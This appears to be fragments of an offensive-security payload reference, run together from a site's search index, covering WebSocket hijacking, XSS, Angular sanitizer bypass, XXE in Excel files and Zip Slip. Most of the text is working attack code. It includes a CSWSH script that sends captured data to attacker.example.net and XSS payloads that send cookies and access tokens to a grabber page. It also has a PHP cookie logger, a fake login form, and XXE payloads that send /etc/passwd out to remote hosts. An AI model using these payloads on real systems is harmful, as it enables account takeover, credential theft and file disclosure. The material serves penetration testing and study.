{\n    \"auth_user\":\"dGVzda==\",\n    \"auth_pass\":\"[FUZZ]\"\n}\n

Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.

"},{"location":"Web%20Sockets/#cross-site-websocket-hijacking-cswsh","title":"Cross-Site WebSocket Hijacking (CSWSH)","text":"

If the WebSocket handshake is not correctly protected using a CSRF token or a nonce, it's possible to use the authenticated WebSocket of a user on an attacker's controlled site because the cookies are automatically sent by the browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).

Example exploit, hosted on an attacker's server, that exfiltrates the received data from the WebSocket to the attacker:

<script>\n  ws = new WebSocket('wss://vulnerable.example.com/messages');\n  ws.onopen = function start(event) {\n    ws.send(\"HELLO\");\n  }\n  ws.onmessage = function handleReply(event) {\n    fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});\n  }\n  ws.send(\"Some text sent to the server\");\n</script>\n

You have to adjust the code to your exact situation. E.g. if your web application uses a Sec-WebSocket-Protocol header in the handshake request, you have to add this value as a 2nd parameter to the WebSocket function call in order to add this header.

This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.

When exploiting an XSS vulnerability, it\u2019s more effective to demonstrate a complete exploitation scenario that could lead to account takeover or sensitive data exfiltration. Instead of simply reporting an XSS with an alert payload, aim to capture valuable data, such as payment information, personal identifiable information (PII), session cookies, or credentials.

Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>\n<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>\n<script>new Image().src=\"http://localhost/cookie.php?c=\"+document.cookie;</script>\n<script>new Image().src=\"http://localhost/cookie.php?c=\"+localStorage.getItem('access_token');</script>\n

Write the collected data into a file.

<?php\n$cookie = $_GET['c'];\n$fp = fopen('cookies.txt', 'a+');\nfwrite($fp, 'Cookie:' .$cookie.\"\\r\\n\");\nfclose($fp);\n?>\n

Leverage the XSS to modify the HTML content of the page in order to display a fake login form.

<script>\nhistory.replaceState(null, null, '../../../login');\ndocument.body.innerHTML = \"</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>\"\n</script>\n

Another way to collect sensitive data is to set a javascript keylogger.

This payload opens the debugger in the developer console rather than triggering a popup alert box.

<script>debugger;</script>\n

Modern applications with content hosting can use sandbox domains

to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.

For this reason, it's better to use alert(document.domain) or alert(window.origin) rather than alert(1) as default XSS payload in order to know in which scope the XSS is actually executing.

Better payload replacing <script>alert(1)</script>:

<script>alert(document.domain.concat(\"\\n\").concat(window.origin))</script>\n

While alert() is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so console.log() can be used instead to display a message in the console of the developer console (doesn't require any interaction).

Example:

<script>console.log(\"Test XSS from the search bar of page XYZ\\n\".concat(document.domain).concat(\"\\n\").concat(window.origin))</script>\n

From @theMiddle - Using global variables

The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its index number instead the function name.

c=0; for(i in self) { if(i == \"alert\") { console.log(c); } c++; }\n// 5\n

Then calling alert is :

Object.keys(self)[5]\n// \"alert\"\nself[Object.keys(self)[5]](\"1\") // alert(\"1\")\n

We can find \"alert\" with a regular expression like ^a[rel]+t$ :

//bind function alert on new function a()\na=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} \n\n// then you can use a() with Object.keys\nself[Object.keys(self)[a()]](\"1\") // alert(\"1\")\n

Oneliner:

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]](\"1\")\n

"},{"location":"XSS%20Injection/5%20-%20XSS%20in%20Angular/#automatic-sanitization","title":"Automatic Sanitization","text":"

To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.

However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:

Example of a component using the unsecure method bypassSecurityTrustUrl:

import { Component, OnInit } from '@angular/core';\n\n@Component({\n  selector: 'my-app',\n  template: `\n    <h4>An untrusted URL:</h4>\n    <p><a class=\"e2e-dangerous-url\" [href]=\"dangerousUrl\">Click me</a></p>\n    <h4>A trusted URL:</h4>\n    <p><a class=\"e2e-trusted-url\" [href]=\"trustedUrl\">Click me</a></p>\n  `,\n})\nexport class App {\n  constructor(private sanitizer: DomSanitizer) {\n    this.dangerousUrl = 'javascript:alert(\"Hi there\")';\n    this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);\n  }\n}\n

When doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.

Let's break down the payload:

  1. <!ENTITY % file SYSTEM \"file:///etc/passwd\"> This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details).
  2. <!ENTITY % eval \"<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>\"> This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the /etc/passwd content) to the end of the file path. The &#x25; is a URL-encoded '%' used to reference an entity inside an entity definition.
  3. %eval; This line uses the eval entity, which causes the entity error to be defined.
  4. %error; Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of /etc/passwd. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of /etc/passwd would be disclosed as part of the error message, revealing sensitive information.

Extract Excel file: 7z x -oXXE xxe.xlsx

Rebuild Excel file:

$ cd XXE\n$ zip -u ../xxe.xlsx *\n

Warning: Use zip -u (https://infozip.sourceforge.net/Zip.html) and not 7z u / 7za u (https://p7zip.sourceforge.net/) or 7zz (https://www.7-zip.org/) because they won't recompress it the same way and many Excel parsing libraries will fail to recognize it as a valid Excel file. A valid magic byte signature with (file XXE.xlsx) will be shown as Microsoft Excel 2007+ (with zip -u) and an invalid one will be shown as Microsoft OOXML.

Add your blind XXE payload inside xl/workbook.xml.

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM \"http://x.x.x.x:8000/xxe.dtd\">%asd;%c;]>\n<cdl>&rrr;</cdl>\n<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">\n

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM \"http://x.x.x.x:8000/xxe.dtd\">%asd;%c;]>\n<sst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"10\" uniqueCount=\"10\"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>\n

Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.

xxe.dtd

<!ENTITY % d SYSTEM \"file:///etc/passwd\">\n<!ENTITY % c \"<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>\">\n

Serve DTD and receive FTP payload using staaldraad/xxeserv:

$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000\n

Most XXE payloads detailed above require control over both the DTD or DOCTYPE block as well as the xml file. In rare situations, you may only control the DTD file and won't be able to modify the xml file. For example, a MITM. When all you control is the DTD file, and you do not control the xml file, XXE may still be possible with this payload.

<!-- Load the contents of a sensitive file into a variable -->\n<!ENTITY % payload SYSTEM \"file:///etc/passwd\">\n<!-- Use that variable to construct an HTTP get request with the file contents in the URL -->\n<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM \"http://my.evil-host.com/x=%payload;\">'>\n%param1;\n%external;\n

The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../shell.php). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim\u2019s machine.

"},{"location":"Zip%20Slip/#summary","title":"Summary","text":""},{"location":"Zip%20Slip/#tools","title":"Tools","text":""},{"location":"Zip%20Slip/#methodology","title":"Methodology","text":"

The Zip Slip vulnerability is a critical security flaw that affects the handling of archive files, such as ZIP, TAR, or other compressed file formats. This vulnerability allows an attacker to write arbitrary files outside of the intended extraction directory, potentially overwriting critical system files, executing malicious code, or gaining unauthorized access to sensitive information.

Example: Suppose an attacker creates a ZIP file with the following structure:

malicious.zip\n  \u251c\u2500\u2500 ../../../../etc/passwd\n  \u251c\u2500\u2500 ../../../../usr/local/bin/malicious_script.sh\n

When a vulnerable application extracts malicious.zip, the files are written to /etc/passwd and /usr/local/bin/malicious_script.sh instead of being contained within the extraction directory. This can have severe consequences, such as corrupting system files or executing malicious scripts.
